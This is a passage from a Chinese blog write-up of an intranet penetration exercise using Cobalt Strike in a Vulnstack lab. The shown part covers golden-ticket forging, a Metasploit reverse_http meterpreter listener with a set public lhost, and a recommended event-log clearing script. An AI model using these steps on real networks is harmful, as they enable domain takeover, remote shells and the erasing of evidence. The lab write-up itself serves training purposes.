<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100450.png" alt="image-20200328000516193"></p>
<p>到手</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100451.png" alt="image-20200328000458986"></p>
<p>3、为了方便于实践黄金票据</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">找一个低权限的用户 ls \\DC\C$</span><br><span class="line">要进行对比</span><br></pre></td></tr></table></figure>

<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0NTIucG5n?x-oss-process=image/format,png" alt="image-20200328124712214"></p>
<p>制造黄金票据</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0NTMucG5n?x-oss-process=image/format,png" alt="image-20200328122338474"></p>
<p>可以运行</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100454.png" alt="image-20200328124627029"></p>
<h3 id="清除票据"><a href="#清除票据" class="headerlink" title="清除票据"></a>清除票据</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kerberos_ticket_purge</span><br></pre></td></tr></table></figure>

<h1 id="0x06-通道的构建"><a href="#0x06-通道的构建" class="headerlink" title="0x06 通道的构建"></a>0x06 通道的构建</h1><h3 id="会话的派生"><a href="#会话的派生" class="headerlink" title="会话的派生"></a>会话的派生</h3><p>打开msf监听</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">msf5 &gt; use exploit/multi/handler </span><br><span class="line">msf5 exploit(multi/handler) &gt; set payload windows/</span><br><span class="line"></span><br><span class="line">msf5 exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_http</span><br><span class="line">payload =&gt; windows/meterpreter/reverse_http</span><br><span class="line">msf5 exploit(multi/handler) &gt; set lhost </span><br><span class="line">msf5 exploit(multi/handler) &gt; set lhost x.x.x.x</span><br><span class="line">lhost =&gt; x.x.x.x</span><br><span class="line">msf5 exploit(multi/handler) &gt; set lport 6668</span><br><span class="line">lport =&gt; 6668</span><br><span class="line">msf5 exploit(multi/handler) &gt; run</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>msf5 exploit(multi&#x2F;handler) &gt; set payload windows&#x2F;meterpreter&#x2F;reverse_http<br>payload &#x3D;&gt; windows&#x2F;meterpreter&#x2F;reverse_http<br>msf5 exploit(multi&#x2F;handler) &gt; set lhost<br>set lhost 127.0.0.1 set lhost eth0<br>set lhost 172.21.0.4 set lhost fe80::5054:ff:fe89:7f0f%eth0<br>set lhost ::1 set lhost lo<br>msf5 exploit(multi&#x2F;handler) &gt; set lhost 49.233.129.171<br>lhost &#x3D;&gt; 49.233.129.171<br>msf5 exploit(multi&#x2F;handler) &gt; set lport 6668<br>lport &#x3D;&gt; 6668<br>msf5 exploit(multi&#x2F;handler) &gt; run</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0NTUucG5n?x-oss-process=image/format,png" alt="image-20200328171237582"></p>
<h3 id="CS搭建SOCKS代理都说不稳，所以转到MSF上"><a href="#CS搭建SOCKS代理都说不稳，所以转到MSF上" class="headerlink" title="CS搭建SOCKS代理都说不稳，所以转到MSF上"></a><strong>CS搭建SOCKS代理都说不稳，所以转到MSF上</strong></h3><h1 id="0x07清除日志"><a href="#0x07清除日志" class="headerlink" title="0x07清除日志"></a>0x07清除日志</h1><p>推荐脚本用奇安信A-Team写的脚本</p>
<p>链接：<a target="_blank" rel="noopener" href="https://github.com/QAX-A-Team/EventLogMaster">https://github.com/QAX-A-Team/EventLogMaster</a></p>
<h1 id="0x08-小结"><a href="#0x08-小结" class="headerlink" title="0x08 小结"></a>0x08 小结</h1><ul>
<li>思路参考 <strong>记一次在Vulnstack ATT&amp;CK 5 靶场中使用CobaltStrike的渗透之旅</strong></li>
<li>文章中如有错误的地方望大佬指正。</li>
<li>菜鸡文章望大佬勿喷。</li>
</ul>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2020/07/02/%E5%86%85%E7%BD%91%E4%B8%ADCobaltStrike4.0%EF%BC%88CS4%EF%BC%89%E7%9A%84%E6%B8%97%E9%80%8F%E4%B9%8B%E6%97%85/">https://godzeo.github.io/2020/07/02/%E5%86%85%E7%BD%91%E4%B8%ADCobaltStrike4.0%EF%BC%88CS4%EF%BC%89%E7%9A%84%E6%B8%97%E9%80%8F%E4%B9%8B%E6%97%85/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's Security Lab</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"></div><div class="post_share"><div class="social-share" data-image="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp%E5%A4%8D%E7%8E%B0/"><img class="prev-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">红队武器库:fastjson小于1.2.68全漏洞RCE利用exp复现</div></div></a></div><div class="next-post pull-right"><a href="/2020/06/27/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%AE%89%E5%85%A8-%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/"><img class="next-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">二进制安全-汇编基础</div></div></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">Zeo</div><div class="author-info__description">专注于安全,分享生活,分享知识</div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/godzeo"><i class="fab fa-github"></i><span>Follow Me</span></a><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/godzeo" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:zzzhhhaaaiiii@gmail.com" target="_blank" title="Email"><i class="fas fa-envelope"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">Weclome my blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%89%8D%E8%A8%80"><span class="toc-number">1.</span> <span class="toc-text">前言</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x00%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86"><span class="toc-number">2.</span> <span class="toc-text">0x00信息收集</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x00%E5%85%A5%E5%8F%A3%E6%9D%83%E9%99%90%E8%8E%B7%E5%8F%96"><span class="toc-number">3.</span> <span class="toc-text">0x00入口权限获取</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x01-%E6%8F%90%E6%9D%83"><span class="toc-number">4.</span> <span class="toc-text">0x01 提权</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#svc-exe"><span class="toc-number">4.0.0.1.</span> <span class="toc-text">svc-exe</span></a></li></ol></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x02-%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8"><span class="toc-number">5.</span> <span class="toc-text">0x02 横向移动</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%B3%E9%97%AD%E9%98%B2%E7%81%AB%E5%A2%99"><span class="toc-number">5.0.1.</span> <span class="toc-text">关闭防火墙</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%86%85%E7%BD%91%E7%9A%84%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86"><span class="toc-number">5.0.2.</span> <span class="toc-text">内网的信息搜集</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E4%B8%80%E4%B8%AA%E5%9F%9F%E7%94%A8%E6%88%B7"><span class="toc-number">5.0.3.</span> <span class="toc-text">我们需要一个域用户</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AC%AC%E4%B8%80%E7%A7%8D-Make-token"><span class="toc-number">5.0.4.</span> <span class="toc-text">第一种:Make_token</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AC%AC%E4%BA%8C%E7%A7%8D-%E4%BD%BF%E7%94%A8pth%E5%91%BD%E4%BB%A4%E7%94%9F%E6%88%90%E4%B8%80%E4%B8%AA%E6%96%B0%E7%9A%84%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5%E8%BF%9B%E5%8E%BB"><span class="toc-number">5.0.5.</span> <span class="toc-text">第二种:使用pth命令生成一个新的进程注入进去</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AC%AC%E4%B8%89%E7%A7%8D-%E4%BD%BF%E7%94%A8spawn-as"><span class="toc-number">5.0.6.</span> <span class="toc-text">第三种:使用spawn as</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AC%AC%E5%9B%9B%E4%B8%AD-%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5%E5%88%B0%E5%9F%9F%E7%94%A8%E6%88%B7%E7%9A%84%E8%BF%9B%E7%A8%8B%E4%B8%AD%EF%BC%8C%E4%BD%86%E5%BF%85%E9%A1%BB%E5%BE%97%E6%98%AF-%E9%AB%98%E6%9D%83%E7%94%A8%E6%88%B7"><span class="toc-number">5.0.7.</span> <span class="toc-text">第四中 进程注入到域用户的进程中，但必须得是 高权用户</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x03-%E5%9F%9F%E5%86%85%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86"><span class="toc-number">6.</span> <span class="toc-text">0x03 域内信息收集</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9F%9F%E6%8F%90%E6%9D%83"><span class="toc-number">6.0.1.</span> <span class="toc-text">域提权</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x04%E6%A8%AA%E5%90%91%E5%88%B0%E5%9F%9F%E6%8E%A7"><span class="toc-number">7.</span> <span class="toc-text">0x04横向到域控</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%AD%A3%E5%90%91%E8%BF%9E%E6%8E%A5"><span class="toc-number">7.0.1.</span> <span class="toc-text">正向连接</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x05-%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81"><span class="toc-number">8.</span> <span class="toc-text">0x05 权限维持</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B8%85%E9%99%A4%E7%A5%A8%E6%8D%AE"><span class="toc-number">8.0.1.</span> <span class="toc-text">清除票据</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x06-%E9%80%9A%E9%81%93%E7%9A%84%E6%9E%84%E5%BB%BA"><span class="toc-number">9.</span> <span class="toc-text">0x06 通道的构建</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%9A%E8%AF%9D%E7%9A%84%E6%B4%BE%E7%94%9F"><span class="toc-number">9.0.1.</span> <span class="toc-text">会话的派生</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#CS%E6%90%AD%E5%BB%BASOCKS%E4%BB%A3%E7%90%86%E9%83%BD%E8%AF%B4%E4%B8%8D%E7%A8%B3%EF%BC%8C%E6%89%80%E4%BB%A5%E8%BD%AC%E5%88%B0MSF%E4%B8%8A"><span class="toc-number">9.0.2.</span> <span class="toc-text">CS搭建SOCKS代理都说不稳，所以转到MSF上</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x07%E6%B8%85%E9%99%A4%E6%97%A5%E5%BF%97"><span class="toc-number">10.</span> <span class="toc-text">0x07清除日志</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x08-%E5%B0%8F%E7%BB%93"><span class="toc-number">11.</span> <span class="toc-text">0x08 小结</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Nosql inject注入"/></a><div class="content"><a class="title" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入">Nosql inject注入</a><time datetime="2022-11-28T07:28:02.000Z" title="发表于 2022-11-28 15:28:02">2022-11-28</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="企业 SDLC 安全生命周期管理"/></a><div class="content"><a class="title" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理">企业 SDLC 安全生命周期管理</a><time datetime="2022-11-15T14:03:44.000Z" title="发表于 2022-11-15 22:03:44">2022-11-15</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计漏洞(File Operation\Redirect\Cors)"/></a><div class="content"><a class="title" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)">Go 代码审计漏洞(File Operation\Redirect\Cors)</a><time datetime="2022-11-05T09:15:28.000Z" title="发表于 2022-11-05 17:15:28">2022-11-05</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计高危漏洞(sqli\cmd\ssrf)"/></a><div class="content"><a class="title" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)">Go 代码审计高危漏洞(sqli\cmd\ssrf)</a><time datetime="2022-10-30T06:57:14.000Z" title="发表于 2022-10-30 14:57:14">2022-10-30</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Java代码审计： ClassLoader应用"/></a><div class="content"><a class="title" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用">Java代码审计： ClassLoader应用</a><time datetime="2022-05-10T08:21:21.000Z" title="发表于 2022-05-10 16:21:21">2022-05-10</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2019 - 2022 By Zeo</div><div class="footer_custom_text">Hi, welcome to my blog!</div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><div class="js-pjax"></div></div></body></html>